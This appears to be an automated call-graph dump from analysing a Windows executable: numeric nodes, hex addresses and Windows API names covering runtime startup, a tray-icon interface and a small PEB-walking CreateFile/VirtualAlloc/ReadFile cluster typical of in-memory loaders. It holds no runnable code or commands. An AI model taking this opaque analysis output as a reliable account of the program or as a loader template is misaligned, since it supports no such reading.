100762->100763 100764 2b7151 100763->100764 100795 2b4706 100764->100795 100766 2b715a 100802 2d050b 100766->100802 100773 2b7667 59 API calls 100774 2b718b 100773->100774 100821 2b7d8c 100774->100821 100776 2b7194 RegOpenKeyExW 100777 2ee8b1 RegQueryValueExW 100776->100777 100781 2b71b6 Mailbox 100776->100781 100778 2ee8ce 100777->100778 100779 2ee943 RegCloseKey 100777->100779 100780 2d0db6 Mailbox 59 API calls 100778->100780 100779->100781 100791 2ee955 _wcscat Mailbox __wsetenvp 100779->100791 100782 2ee8e7 100780->100782 100781->100758 100825 2b522e 100782->100825 100785 2b79f2 59 API calls 100785->100791 100786 2ee90f 100828 2b7bcc 100786->100828 100788 2ee929 100788->100779 100789 2b7de1 59 API calls 100789->100791 100790 2b3f74 59 API calls 100790->100791 100791->100781 100791->100785 100791->100789 100791->100790 100859 2d2c44 100792->100859 100794 2b1096 100837 2e1940 100795->100837 100798 2b7de1 59 API calls 100799 2b4739 100798->100799 100839 2b4750 100799->100839 100801 2b4743 Mailbox 100801->100766 100803 2e1940 __ftell_nolock 100802->100803 100804 2d0518 GetFullPathNameW 100803->100804 100805 2d053a 100804->100805 100806 2b7bcc 59 API calls 100805->100806 100807 2b7165 100806->100807 100808 2b7cab 100807->100808 100809 2eed4a 100808->100809 100810 2b7cbf 100808->100810 100812 2b8029 59 API calls 100809->100812 100853 2b7c50 100810->100853 100814 2eed55 __wsetenvp _memmove 100812->100814 100813 2b7173 100815 2b3f74 100813->100815 100816 2b3f82 100815->100816 100820 2b3fa4 _memmove 100815->100820 100818 2d0db6 Mailbox 59 API calls 100816->100818 100817 2d0db6 Mailbox 59 API calls 100819 2b3fb8 100817->100819 100818->100820 100819->100773 100820->100817 100822 2b7da6 100821->100822 100824 2b7d99 100821->100824 100823 2d0db6 Mailbox 59 API calls 100822->100823 100823->100824 100824->100776 100826 2d0db6 Mailbox 59 API calls 100825->100826 100827 2b5240 RegQueryValueExW 100826->100827 100827->100786 100827->100788 100829 2b7bd8 __wsetenvp 100828->100829 100830 2b7c45 100828->100830 100833 2b7bee 100829->100833 100834 2b7c13 100829->100834 100831 2b7d2c 59 API calls 100830->100831 100832 2b7bf6 _memmove 100831->100832 100832->100788 100858 2b7f27 59 API calls Mailbox 100833->100858 100835 2b8029 59 API calls 100834->100835 100835->100832 100838 2b4713 GetModuleFileNameW 100837->100838 100838->100798 100840 2e1940 __ftell_nolock 100839->100840 100841 2b475d GetFullPathNameW 100840->100841 100842 2b4799 100841->100842 100843 2b477c 100841->100843 100845 2b7d8c 59 API calls 100842->100845 100844 2b7bcc 59 API calls 100843->100844 100846 2b4788 100844->100846 100845->100846 100849 2b7726 100846->100849 100850 2b7734 100849->100850 100851 2b7d2c 59 API calls 100850->100851 100852 2b4794 100851->100852 100852->100801 100854 2b7c5f __wsetenvp 100853->100854 100855 2b8029 59 API calls 100854->100855 100856 2b7c70 _memmove 100854->100856 100857 2eed07 _memmove 100855->100857 100856->100813 100858->100832 100860 2d2c50 __write 100859->100860 100867 2d3217 100860->100867 100866 2d2c77 __write 100866->100794 100884 2d9c0b 100867->100884 100869 2d2c59 100870 2d2c88 DecodePointer DecodePointer 100869->100870 100871 2d2cb5 100870->100871 100872 2d2c65 100870->100872 100871->100872 100930 2d87a4 59 API calls __Wcsftime_l 100871->100930 100881 2d2c82 100872->100881 100874 2d2d18 EncodePointer EncodePointer 100874->100872 100875 2d2cc7 100875->100874 100876 2d2cec 100875->100876 100931 2d8864 61 API calls 2 library calls 100875->100931 100876->100872 100879 2d2d06 EncodePointer 100876->100879 100932 2d8864 61 API calls 2 library calls 100876->100932 100879->100874 100880 2d2d00 100880->100872 100880->100879 100933 2d3220 100881->100933 100885 2d9c1c 100884->100885 100886 2d9c2f EnterCriticalSection 100884->100886 100891 2d9c93 100885->100891 100886->100869 100888 2d9c22 100888->100886 100915 2d30b5 58 API calls 3 library calls 100888->100915 100892 2d9c9f __write 100891->100892 100893 2d9ca8 100892->100893 100894 2d9cc0 100892->100894 100916 2da16b 58 API calls __NMSG_WRITE 100893->100916 100903 2d9ce1 __write 100894->100903 100919 2d881d 58 API calls 2 library calls 100894->100919 100897 2d9cad 100917 2da1c8 58 API calls 6 library calls 100897->100917 100899 2d9cd5 100901 2d9cdc 100899->100901 100902 2d9ceb 100899->100902 100900 2d9cb4 100918 2d309f GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 100900->100918 100920 2d8b28 58 API calls __getptd_noexit 100901->100920 100906 2d9c0b __lock 58 API calls 100902->100906 100903->100888 100908 2d9cf2 100906->100908 100909 2d9cff 100908->100909 100910 2d9d17 100908->100910 100921 2d9e2b InitializeCriticalSectionAndSpinCount 100909->100921 100922 2d2d55 100910->100922 100913 2d9d0b 100928 2d9d33 LeaveCriticalSection _doexit 100913->100928 100916->100897 100917->100900 100919->100899 100920->100903 100921->100913 100923 2d2d5e RtlFreeHeap 100922->100923 100927 2d2d87 _free 100922->100927 100924 2d2d73 100923->100924 100923->100927 100929 2d8b28 58 API calls __getptd_noexit 100924->100929 100926 2d2d79 GetLastError 100926->100927 100927->100913 100928->100903 100929->100926 100930->100875 100931->100876 100932->100880 100936 2d9d75 LeaveCriticalSection 100933->100936 100935 2d2c87 100935->100866 100936->100935 100937 2b3633 100938 2b366a 100937->100938 100939 2b3688 100938->100939 100940 2b36e7 100938->100940 100977 2b36e5 100938->100977 100944 2b374b PostQuitMessage 100939->100944 100945 2b3695 100939->100945 100942 2ed0cc 100940->100942 100943 2b36ed 100940->100943 100941 2b36ca DefWindowProcW 100978 2b36d8 100941->100978 100986 2c1070 10 API calls Mailbox 100942->100986 100946 2b36f2 100943->100946 100947 2b3715 SetTimer RegisterWindowMessageW 100943->100947 100944->100978 100949 2ed154 100945->100949 100950 2b36a0 100945->100950 100951 2ed06f 100946->100951 100952 2b36f9 KillTimer 100946->100952 100954 2b373e CreatePopupMenu 100947->100954 100947->100978 101002 312527 71 API calls _memset 100949->101002 100955 2b36a8 100950->100955 100956 2b3755 100950->100956 100963 2ed0a8 MoveWindow 100951->100963 100964 2ed074 100951->100964 100982 2b443a Shell_NotifyIconW _memset 100952->100982 100953 2ed0f3 100987 2c1093 331 API calls Mailbox 100953->100987 100954->100978 100960 2ed139 100955->100960 100961 2b36b3 100955->100961 100984 2b44a0 64 API calls _memset 100956->100984 100960->100941 101001 307c36 59 API calls Mailbox 100960->101001 100968 2ed124 100961->100968 100975 2b36be 100961->100975 100963->100978 100965 2ed078 100964->100965 100966 2ed097 SetFocus 100964->100966 100971 2ed081 100965->100971 100965->100975 100966->100978 100967 2b370c 100983 2b3114 DeleteObject DestroyWindow Mailbox 100967->100983 101000 312d36 81 API calls _memset 100968->101000 100969 2ed166 100969->100941 100969->100978 100970 2b3764 100970->100978 100985 2c1070 10 API calls Mailbox 100971->100985 100975->100941 100988 2b443a Shell_NotifyIconW _memset 100975->100988 100977->100941 100980 2ed118 100989 2b434a 100980->100989 100982->100967 100983->100978 100984->100970 100985->100978 100986->100953 100987->100975 100988->100980 100990 2b4375 _memset 100989->100990 101003 2b4182 100990->101003 100993 2b43fa 100995 2b4430 Shell_NotifyIconW 100993->100995 100996 2b4414 Shell_NotifyIconW 100993->100996 100997 2b4422 100995->100997 100996->100997 101007 2b407c 100997->101007 100999 2b4429 100999->100977 101000->100970 101001->100977 101002->100969 101004 2ed423 101003->101004 101005 2b4196 101003->101005 101004->101005 101006 2ed42c DestroyIcon 101004->101006 101005->100993 101029 312f94 62 API calls _W_store_winword 101005->101029 101006->101005 101008 2b4098 101007->101008 101009 2b416f Mailbox 101007->101009 101030 2b7a16 101008->101030 101009->100999 101012 2ed3c8 LoadStringW 101016 2ed3e2 101012->101016 101013 2b40b3 101014 2b7bcc 59 API calls 101013->101014 101015 2b40c8 101014->101015 101015->101016 101017 2b40d9 101015->101017 101018 2b7b2e 59 API calls 101016->101018 101019 2b40e3 101017->101019 101020 2b4174 101017->101020 101023 2ed3ec 101018->101023 101022 2b7b2e 59 API calls 101019->101022 101021 2b8047 59 API calls 101020->101021 101026 2b40ed _memset _wcscpy 101021->101026 101022->101026 101024 2b7cab 59 API calls 101023->101024 101023->101026 101025 2ed40e 101024->101025 101028 2b7cab 59 API calls 101025->101028 101027 2b4155 Shell_NotifyIconW 101026->101027 101027->101009 101028->101026 101029->100993 101031 2d0db6 Mailbox 59 API calls 101030->101031 101032 2b7a3b 101031->101032 101033 2b8029 59 API calls 101032->101033 101034 2b40a6 101033->101034 101034->101012 101034->101013 101035 15bf763 101038 15bf3d8 101035->101038 101037 15bf7af 101039 15bce08 GetPEB 101038->101039 101048 15bf477 101039->101048 101041 15bf4a8 CreateFileW 101044 15bf4b5 101041->101044 101041->101048 101042 15bf4d1 VirtualAlloc 101043 15bf4f2 ReadFile 101042->101043 101042->101044 101043->101044 101045 15bf510 VirtualAlloc 101043->101045 101046 15bf6d2 101044->101046 101047 15bf6c4 VirtualFree 101044->101047 101045->101044 101045->101048 101046->101037 101047->101046 101048->101042 101048->101044 101049 15bf5d8 CloseHandle 101048->101049 101050 15bf5e8 VirtualFree 101048->101050 101051 15c02e8 GetPEB 101048->101051 101049->101048 101050->101048 101052 15c0312 101051->101052 101052->101041 101053 2d7c56 101054 2d7c62 __write 101053->101054 101090 2d9e08 GetStartupInfoW 101054->101090 101056 2d7c67 101092 2d8b7c GetProcessHeap 101056->101092 101058 2d7cbf 101059 2d7cca 101058->101059 101175 2d7da6 58 API calls 3 library calls 101058->101175 101093 2d9ae6 101059->101093 101062 2d7cd0 101063 2d7cdb __RTC_Initialize 101062->101063 101176 2d7da6 58 API calls 3 library calls 101062->101176 101114 2dd5d2 101063->101114 101066 2d7cea 101067 2d7cf6 GetCommandLineW 101066->101067 101177 2d7da6 58 API calls 3 library calls 101066->101177 101133 2e4f23 GetEnvironmentStringsW 101067->101133 101071 2d7cf5 101071->101067 101073 2d7d10 101074 2d7d1b 101073->101074 101178 2d30b5 58 API calls 3 library calls 101073->101178 101143 2e4d58 101074->101143 101077 2d7d21 101078 2d7d2c 101077->101078 101179 2d30b5 58 API calls 3 library calls 101077->101179 101157 2d30ef 101078->101157 101081 2d7d34 101082 2d7d3f __wwincmdln 101081->101082 101180 2d30b5 58 API calls 3 library calls 101081->101180 101163 2b47d0 101082->101163 101085 2d7d53 101086 2d7d62 101085->101086 101181 2d3358 58 API calls _doexit 101085->101181 101182 2d30e0 58 API calls _doexit 101086->101182 101089 2d7d67 __write 101091 2d9e1e 101090->101091 101091->101056 101092->101058 101183 2d3187 36 API calls 2 library calls 101093->101183 101095 2d9aeb 101184 2d9d3c InitializeCriticalSectionAndSpinCount __mtinitlocks 101095->101184 101097 2d9af0 101098 2d9af4 101097->101098 101186 2d9d8a TlsAlloc 101097->101186 101185 2d9b5c 61 API calls 2 library calls 101098->101185 101101 2d9af9 101101->101062 101102 2d9b06 101102->101098 101103 2d9b11 101102->101103 101187 2d87d5 101103->101187 101106 2d9b53 101195 2d9b5c 61 API calls 2 library calls 101106->101195 101109 2d9b32 101109->101106 101111 2d9b38 101109->101111 101110 2d9b58 101110->101062 101194 2d9a33 58 API calls 4 library calls 101111->101194 101113 2d9b40 GetCurrentThreadId 101113->101062 101115 2dd5de __write 101114->101115 101116 2d9c0b __lock 58 API calls 101115->101116 101117 2dd5e5 101116->101117 101118 2d87d5 __calloc_crt 58 API calls 101117->101118 101121 2dd5f6 101118->101121 101119 2dd601 __write @_EH4_CallFilterFunc@8 101119->101066 101120 2dd661 GetStartupInfoW 101127 2dd7a5 101120->101127 101128 2dd676 101120->101128 101121->101119 101121->101120 101122 2dd86d 101209 2dd87d LeaveCriticalSection _doexit 101122->101209 101124 2d87d5 __calloc_crt 58 API calls 101124->101128 101125 2dd7f2 GetStdHandle 101125->101127 101126 2dd805 GetFileType 101126->101127 101127->101122 101127->101125 101127->101126 101208 2d9e2b InitializeCriticalSectionAndSpinCount 101127->101208 101128->101124 101128->101127 101130 2dd6c4 101128->101130 101129 2dd6f8 GetFileType 101129->101130 101130->101127 101130->101129 101207 2d9e2b InitializeCriticalSectionAndSpinCount 101130->101207 101134 2d7d06 101133->101134 101135 2e4f34 101133->101135 101139 2e4b1b GetModuleFileNameW 101134->101139 101210 2d881d 58 API calls 2 library calls 101135->101210 101137 2e4f5a _memmove 101138 2e4f70 FreeEnvironmentStringsW 101137->101138 101138->101134 101141 2e4b4f _wparse_cmdline 101139->101141 101140 2e4b8f _wparse_cmdline 101140->101073 101141->101140 101211 2d881d 58 API calls 2 library calls 101141->101211 101144 2e4d71 __wsetenvp 101143->101144 101148 2e4d69 101143->101148 101145 2d87d5 __calloc_crt 58 API calls 101144->101145 101153 2e4d9a __wsetenvp 101145->101153 101146 2e4df1 101147 2d2d55 _free 58 API calls 101146->101147 101147->101148 101148->101077 101149 2d87d5 __calloc_crt 58 API calls 101149->101153 101150 2e4e16 101151 2d2d55 _free 58 API calls 101150->101151 101151->101148 101153->101146 101153->101148 101153->101149 101153->101150 101154 2e4e2d 101153->101154 101212 2e4607 58 API calls __Wcsftime_l 101153->101212 101213 2d8dc6 IsProcessorFeaturePresent 101154->101213 101156 2e4e39 101156->101077 101159 2d30fb __IsNonwritableInCurrentImage 101157->101159 101236 2da4d1 101159->101236 101160 2d3119 __initterm_e 101161 2d2d40 __cinit 67 API calls 101160->101161 101162 2d3138 __cinit __IsNonwritableInCurrentImage 101160->101162 101161->101162 101162->101081 101164 2b47ea 101163->101164 101174 2b4889 101163->101174 101165 2b4824 IsThemeActive 101164->101165 101239 2d336c 101165->101239 101169 2b4850 101251 2b48fd SystemParametersInfoW SystemParametersInfoW 101169->101251 101171 2b485c 101252 2b3b3a 101171->101252 101173 2b4864 SystemParametersInfoW 101173->101174 101174->101085 101175->101059 101176->101063 101177->101071 101181->101086 101182->101089 101183->101095 101184->101097 101185->101101 101186->101102 101188 2d87dc 101187->101188 101190 2d8817 101188->101190 101192 2d87fa 101188->101192 101196 2e51f6 101188->101196 101190->101106 101193 2d9de6 TlsSetValue 101190->101193 101192->101188 101192->101190 101204 2da132 Sleep 101192->101204 101193->101109 101194->101113 101195->101110 101197 2e5201 101196->101197 101203 2e521c 101196->101203 101198 2e520d 101197->101198 101197->101203 101205 2d8b28 58 API calls __getptd_noexit 101198->101205 101199 2e522c HeapAlloc 101201 2e5212 101199->101201 101199->101203 101201->101188 101203->101199 101203->101201 101206 2d33a1 DecodePointer 101203->101206 101204->101192 101205->101201 101206->101203 101207->101130 101208->101127 101209->101119 101210->101137 101211->101140 101212->101153 101214 2d8dd1 101213->101214 101219 2d8c59 101214->101219 101218 2d8dec 101218->101156 101220 2d8c73 _memset __call_reportfault 101219->101220 101221 2d8c93 IsDebuggerPresent 101220->101221 101227 2da155 SetUnhandledExceptionFilter UnhandledExceptionFilter 101221->101227 101224 2d8d57 __call_reportfault 101228 2dc5f6 101224->101228 101225 2d8d7a 101226 2da140 GetCurrentProcess TerminateProcess 101225->101226 101226->101218 101227->101224 101229 2dc5fe 101228->101229 101230 2dc600 IsProcessorFeaturePresent 101228->101230 101229->101225 101232 2e590a 101230->101232 101235 2e58b9 5 API calls 2 library calls 101232->101235 101234 2e59ed 101234->101225 101235->101234 101237 2da4d4 EncodePointer 101236->101237 101237->101237 101238 2da4ee 101237->101238 101238->101160 101240 2d9c0b __lock 58 API calls 101239->101240 101241 2d3377 DecodePointer EncodePointer 101240->101241 101304 2d9d75 LeaveCriticalSection 101241->101304 101243 2b4849 101244 2d33d4 101243->101244 101245 2d33de 101244->101245 101246 2d33f8 101244->101246 101245->101246 101305 2d8b28 58 API calls __getptd_noexit 101245->101305 101246->101169 101248 2d33e8 101306 2d8db6 9 API calls __Wcsftime_l 101248->101306 101250 2d33f3 101250->101169 101251->101171 101253 2b3b47 __ftell_nolock 101252->101253 101254 2b7667 59 API calls 101253->101254 101255 2b3b51 GetCurrentDirectoryW 101254->101255 101307 2b3766 101255->101307 101257 2b3b7a IsDebuggerPresent 101258 2b3b88 101257->101258 101259 2ed272 MessageBoxA 101257->101259 101261 2ed28c 101258->101261 101262 2b3ba5 101258->101262 101291 2b3c61 101258->101291 101259->101261 101260 2b3c68 SetCurrentDirectoryW 101263 2b3c75 Mailbox 101260->101263 101506 2b7213 59 API calls Mailbox 101261->101506 101388 2b7285 101262->101388 101263->101173 101266 2ed29c 101272 2ed2b2 SetCurrentDirectoryW 101266->101272 101268 2b3bc3 GetFullPathNameW 101269 2b7bcc 59 API calls 101268->101269 101270 2b3bfe 101269->101270 101404 2c092d 101270->101404 101272->101263 101274 2b3c1c 101275 2b3c26 101274->101275 101507 30874b AllocateAndInitializeSid CheckTokenMembership FreeSid 101274->101507 101420 2b3a46 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 101275->101420 101278 2ed2cf 101278->101275 101281 2ed2e0 101278->101281 101283 2b4706 61 API calls 101281->101283 101282 2b3c30 101284 2b3c43 101282->101284 101286 2b434a 68 API calls 101282->101286 101285 2ed2e8 101283->101285 101428 2c09d0 101284->101428 101288 2b7de1 59 API calls 101285->101288 101286->101284 101290 2ed2f5 101288->101290 101289 2b3c4e 101289->101291 101505 2b443a Shell_NotifyIconW _memset 101289->101505 101292 2ed2ff 101290->101292 101293 2ed324 101290->101293 101291->101260 101296 2b7cab 59 API calls 101292->101296 101295 2b7cab 59 API calls 101293->101295 101297 2ed320 GetForegroundWindow ShellExecuteW 101295->101297 101298 2ed30a 101296->101298 101301 2ed354 Mailbox 101297->101301 101300 2b7b2e 59 API calls 101298->101300 101302 2ed317 101300->101302 101301->101291 101303 2b7cab 59 API calls 101302->101303 101303->101297 101304->101243 101305->101248 101306->101250 101308 2b7667 59 API calls 101307->101308 101309 2b377c 101308->101309 101508 2b3d31 101309->101508 101311 2b379a 101312 2b4706 61 API calls 101311->101312 101313 2b37ae 101312->101313 101314 2b7de1 59 API calls 101313->101314 101315 2b37bb 101314->101315 101522 2b4ddd 101315->101522 101318 2b37dc Mailbox 101323 2b8047 59 API calls 101318->101323 101319 2ed173 101578 31955b 101319->101578 101322 2ed192 101325 2d2d55 _free 58 API calls 101322->101325 101326 2b37ef 101323->101326 101328 2ed19f 101325->101328 101546 2b928a 101326->101546 101329 2b4e4a 84 API calls 101328->101329 101331 2ed1a8 101329->101331 101335 2b3ed0 59 API calls 101331->101335 101332 2b7de1 59 API calls 101333 2b3808 101332->101333 101549 2b84c0 101333->101549 101337 2ed1c3 101335->101337 101336 2b381a Mailbox 101338 2b7de1 59 API calls 101336->101338 101339 2b3ed0 59 API calls 101337->101339 101340 2b3840 101338->101340 101341 2ed1df 101339->101341 101342 2b84c0 69 API calls 101340->101342 101343 2b4706 61 API calls 101341->101343 101345 2b384f Mailbox 101342->101345 101344 2ed204 101343->101344 101346 2b3ed0 59 API calls 101344->101346 101347 2b7667 59 API calls 101345->101347 101348 2ed210 101346->101348 101350 2b386d 101347->101350 101349 2b8047 59 API calls 101348->101349 101351 2ed21e 101349->101351 101553 2b3ed0 101350->101553 101353 2b3ed0 59 API calls 101351->101353 101355 2ed22d 101353->101355 101361 2b8047 59 API calls 101355->101361 101357 2b3887 101357->101331 101358 2b3891 101357->101358 101359 2d2efd _W_store_winword 60 API calls 101358->101359 101360 2b389c 101359->101360 101360->101337 101362 2b38a6 101360->101362 101363 2ed24f 101361->101363 101364 2d2efd _W_store_winword 60 API calls 101362->101364 101365 2b3ed0 59 API calls 101363->101365 101366 2b38b1 101364->101366 101367 2ed25c 101365->101367 101366->101341 101368 2b38bb 101366->101368 101367->101367 101369 2d2efd _W_store_winword 60 API calls 101368->101369 101370 2b38c6 101369->101370 101370->101355 101371 2b3907 101370->101371 101373 2b3ed0 59 API calls 101370->101373 101371->101355 101372 2b3914 101371->101372 101375 2b92ce 59 API calls 101372->101375 101374 2b38ea 101373->101374 101376 2b8047 59 API calls 101374->101376 101377 2b3924 101375->101377 101378 2b38f8 101376->101378 101379 2b9050 59 API calls 101377->101379 101380 2b3ed0 59 API calls 101378->101380 101381 2b3932 101379->101381 101380->101371 101569 2b8ee0 101381->101569 101383 2b928a 59 API calls 101385 2b394f 101383->101385 101384 2b8ee0 60 API calls 101384->101385 101385->101383 101385->101384 101386 2b3ed0 59 API calls 101385->101386 101387 2b3995 Mailbox 101385->101387 101386->101385 101387->101257 101389 2b7292 __ftell_nolock 101388->101389 101390 2b72ab 101389->101390 101391 2eea22 _memset 101389->101391 101392 2b4750 60 API calls 101390->101392 101394 2eea3e GetOpenFileNameW 101391->101394 101393 2b72b4 101392->101393 102187 2d0791 101393->102187 101396 2eea8d 101394->101396 101397 2b7bcc 59 API calls 101396->101397 101399 2eeaa2 101397->101399 101399->101399 101401 2b72c9 102205 2b686a 101401->102205 101405 2c093a __ftell_nolock 101404->101405 102433 2b6d80 101405->102433 101407 2c093f 101408 2b3c14 101407->101408 102444 2c119e 89 API calls 101407->102444 101408->101266 101408->101274 101410 2c094c 101410->101408 102445 2c3ee7 91 API calls Mailbox 101410->102445 101412 2c0955 101412->101408 101413 2c0959 GetFullPathNameW 101412->101413 101414 2b7bcc 59 API calls 101413->101414 101415 2c0985 101414->101415 101416 2b7bcc 59 API calls 101415->101416 101417 2c0992 101416->101417 101418 2f4cab _wcscat 101417->101418 101419 2b7bcc 59 API calls 101417->101419 101419->101408 101421 2b3ab0 LoadImageW RegisterClassExW 101420->101421 101422 2ed261 101420->101422 102482 2b3041 7 API calls 101421->102482 102483 2b47a0 LoadImageW EnumResourceNamesW 101422->102483 101425 2b3b34 101427 2b39d5 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 101425->101427 101426 2ed26a 101427->101282 101429 2f4cc3 101428->101429 101441 2c09f5 101428->101441 102540 319e4a 89 API calls 4 library calls 101429->102540 101431 2c0cfa 101431->101289 101433 2c0ee4 101433->101431 101435 2c0ef1 101433->101435 102538 2c1093 331 API calls Mailbox 101435->102538 101436 2c0a4b PeekMessageW 101494 2c0a05 Mailbox 101436->101494 101439 2c0ef8 LockWindowUpdate DestroyWindow GetMessageW 101439->101431 101443 2c0f2a 101439->101443 101440 2c0ce4 101440->101431 102537 2c1070 10 API calls Mailbox 101440->102537 101441->101494 102541 2b9e5d 60 API calls 101441->102541 102542 306349 331 API calls 101441->102542 101442 2f4e81 Sleep 101442->101494 101445 2f5c58 TranslateMessage DispatchMessageW GetMessageW 101443->101445 101445->101445 101446 2f5c88 101445->101446 101446->101431 101447 2b9e5d 60 API calls 101447->101494 101448 2c0ea5 TranslateMessage DispatchMessageW 101449 2c0e43 PeekMessageW 101448->101449 101449->101494 101450 2f4d50 TranslateAcceleratorW 101450->101449 101450->101494 101451 2f581f WaitForSingleObject 101458 2f583c GetExitCodeProcess CloseHandle 101451->101458 101451->101494 101453 2d0db6 59 API calls Mailbox 101453->101494 101454 2c0d13 timeGetTime 101454->101494 101455 2c0e5f Sleep 101489 2c0e70 Mailbox 101455->101489 101456 2b8047 59 API calls 101456->101494 101457 2b7667 59 API calls 101457->101489 101488 2c0f95 101458->101488 101459 2f5af8 Sleep 101459->101489 101461 2bb73c 304 API calls 101461->101494 101463 2d049f timeGetTime 101463->101489 101464 2c0f4e timeGetTime 102539 2b9e5d 60 API calls 101464->102539 101467 2f5b8f GetExitCodeProcess 101469 2f5bbb CloseHandle 101467->101469 101470 2f5ba5 WaitForSingleObject 101467->101470 101468 2b9837 84 API calls 101468->101494 101469->101489 101470->101469 101470->101494 101473 335f25 110 API calls 101473->101489 101474 2bb7dd 109 API calls 101474->101489 101475 2f5874 101475->101488 101476 2f5c17 Sleep 101476->101494 101477 2f5078 Sleep 101477->101494 101479 2b7de1 59 API calls 101479->101489 101488->101289 101489->101457 101489->101463 101489->101467 101489->101473 101489->101474 101489->101475 101489->101476 101489->101477 101489->101479 101489->101488 101489->101494 102549 312408 60 API calls 101489->102549 102550 2b9e5d 60 API calls 101489->102550 102551 2b89b3 69 API calls Mailbox 101489->102551 102552 2bb73c 331 API calls 101489->102552 102553 3064da 60 API calls 101489->102553 102554 315244 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 101489->102554 102555 313c55 66 API calls Mailbox 101489->102555 101490 319e4a 89 API calls 101490->101494 101492 2b9c90 59 API calls Mailbox 101492->101494 101493 2b9ea0 304 API calls 101493->101494 101494->101436 101494->101440 101494->101442 101494->101447 101494->101448 101494->101449 101494->101450 101494->101451 101494->101453 101494->101454 101494->101455 101494->101456 101494->101459 101494->101461 101494->101464 101494->101468 101494->101488 101494->101489 101494->101490 101494->101492 101494->101493 101495 2b84c0 69 API calls 101494->101495 101497 2b89b3 69 API calls 101494->101497 101498 30617e 59 API calls Mailbox 101494->101498 101499 2f55d5 VariantClear 101494->101499 101500 2f566b VariantClear 101494->101500 101501 2b8cd4 59 API calls Mailbox 101494->101501 101502 2f5419 VariantClear 101494->101502 101503 306e8f 59 API calls 101494->101503 101504 2b7de1 59 API calls 101494->101504 102484 2be6a0 101494->102484 102515 2bf460 101494->102515 102534 2be420 331 API calls 101494->102534 102535 2bfce0 331 API calls 2 library calls 101494->102535 102536 2b31ce IsDialogMessageW GetClassLongW 101494->102536 102543 336018 59 API calls 101494->102543 102544 319a15 59 API calls Mailbox 101494->102544 102545 30d4f2 59 API calls 101494->102545 102546 3060ef 59 API calls 2 library calls 101494->102546 102547 2b8401 59 API calls 101494->102547 102548 2b82df 59 API calls Mailbox 101494->102548 101495->101494 101497->101494 101498->101494 101499->101494 101500->101494 101501->101494 101502->101494 101503->101494 101504->101494 101505->101291 101506->101266 101507->101278 101509 2b3d3e __ftell_nolock 101508->101509 101510 2b7bcc 59 API calls 101509->101510 101515 2b3ea4 Mailbox 101509->101515 101512 2b3d70 101510->101512 101521 2b3da6 Mailbox 101512->101521 101619 2b79f2 101512->101619 101513 2b79f2 59 API calls 101513->101521 101514 2b3e77 101514->101515 101516 2b7de1 59 API calls 101514->101516 101515->101311 101518 2b3e98 101516->101518 101517 2b7de1 59 API calls 101517->101521 101519 2b3f74 59 API calls 101518->101519 101519->101515 101520 2b3f74 59 API calls 101520->101521 101521->101513 101521->101514 101521->101515 101521->101517 101521->101520 101622 2b4bb5 101522->101622 101527 2b4e08 LoadLibraryExW 101632 2b4b6a 101527->101632 101528 2ed8e6 101529 2b4e4a 84 API calls 101528->101529 101532 2ed8ed 101529->101532 101534 2b4b6a 3 API calls 101532->101534 101536 2ed8f5 101534->101536 101535 2b4e2f 101535->101536 101537 2b4e3b 101535->101537 101658 2b4f0b 101536->101658 101538 2b4e4a 84 API calls 101537->101538 101540 2b37d4 101538->101540 101540->101318 101540->101319 101543 2ed91c 101666 2b4ec7 101543->101666 101545 2ed929 101547 2d0db6 Mailbox 59 API calls 101546->101547 101548 2b37fb 101547->101548 101548->101332 101550 2b84cb 101549->101550 101552 2b84f2 101550->101552 101917 2b89b3 69 API calls Mailbox 101550->101917 101552->101336 101554 2b3eda 101553->101554 101555 2b3ef3 101553->101555 101557 2b8047 59 API calls 101554->101557 101556 2b7bcc 59 API calls 101555->101556 101558 2b3879 101556->101558 101557->101558 101559 2d2efd 101558->101559 101560 2d2f7e 101559->101560 101561 2d2f09 101559->101561 101920 2d2f90 60 API calls 3 library calls 101560->101920 101568 2d2f2e 101561->101568 101918 2d8b28 58 API calls __getptd_noexit 101561->101918 101563 2d2f8b 101563->101357 101565 2d2f15 101919 2d8db6 9 API calls __Wcsftime_l 101565->101919 101567 2d2f20 101567->101357 101568->101357 101570 2ef17c 101569->101570 101575 2b8ef7 101569->101575 101570->101575 101922 2b8bdb 59 API calls Mailbox 101570->101922 101572 2b8fff 101572->101385 101573 2b8ff8 101576 2d0db6 Mailbox 59 API calls 101573->101576 101574 2b9040 101921 2b9d3c 60 API calls Mailbox 101574->101921 101575->101572 101575->101573 101575->101574 101576->101572 101579 2b4ee5 85 API calls 101578->101579 101580 3195ca 101579->101580 101923 319734 101580->101923 101583 2b4f0b 74 API calls 101584 3195f7 101583->101584 101585 2b4f0b 74 API calls 101584->101585 101586 319607 101585->101586 101587 2b4f0b 74 API calls 101586->101587 101588 319622 101587->101588 101589 2b4f0b 74 API calls 101588->101589 101590 31963d 101589->101590 101591 2b4ee5 85 API calls 101590->101591 101592 319654 101591->101592 101593 2d571c __crtLCMapStringA_stat 58 API calls 101592->101593 101594 31965b 101593->101594 101595 2d571c __crtLCMapStringA_stat 58 API calls 101594->101595 101596 319665 101595->101596 101597 2b4f0b 74 API calls 101596->101597 101598 319679 101597->101598 101599 319109 GetSystemTimeAsFileTime 101598->101599 101600 31968c 101599->101600 101601 3196a1 101600->101601 101602 3196b6 101600->101602 101605 2d2d55 _free 58 API calls 101601->101605 101603 31971b 101602->101603 101604 3196bc 101602->101604 101607 2d2d55 _free 58 API calls 101603->101607 101929 318b06 116 API calls __fcloseall 101604->101929 101608 3196a7 101605->101608 101610 2ed186 101607->101610 101611 2d2d55 _free 58 API calls 101608->101611 101609 319713 101612 2d2d55 _free 58 API calls 101609->101612 101610->101322 101613 2b4e4a 101610->101613 101611->101610 101612->101610 101614 2b4e54 101613->101614 101616 2b4e5b 101613->101616 101930 2d53a6 101614->101930 101617 2b4e7b FreeLibrary 101616->101617 101618 2b4e6a 101616->101618 101617->101618 101618->101322 101620 2b7e4f 59 API calls 101619->101620 101621 2b79fd 101620->101621 101621->101512 101671 2b4c03 101622->101671 101625 2b4bec FreeLibrary 101626 2b4bf5 101625->101626 101629 2d525b 101626->101629 101627 2b4c03 2 API calls 101628 2b4bdc 101627->101628 101628->101625 101628->101626 101675 2d5270 101629->101675 101631 2b4dfc 101631->101527 101631->101528 101835 2b4c36 101632->101835 101634 2b4b8f 101637 2b4baa 101634->101637 101638 2b4ba1 FreeLibrary 101634->101638 101636 2b4c36 2 API calls 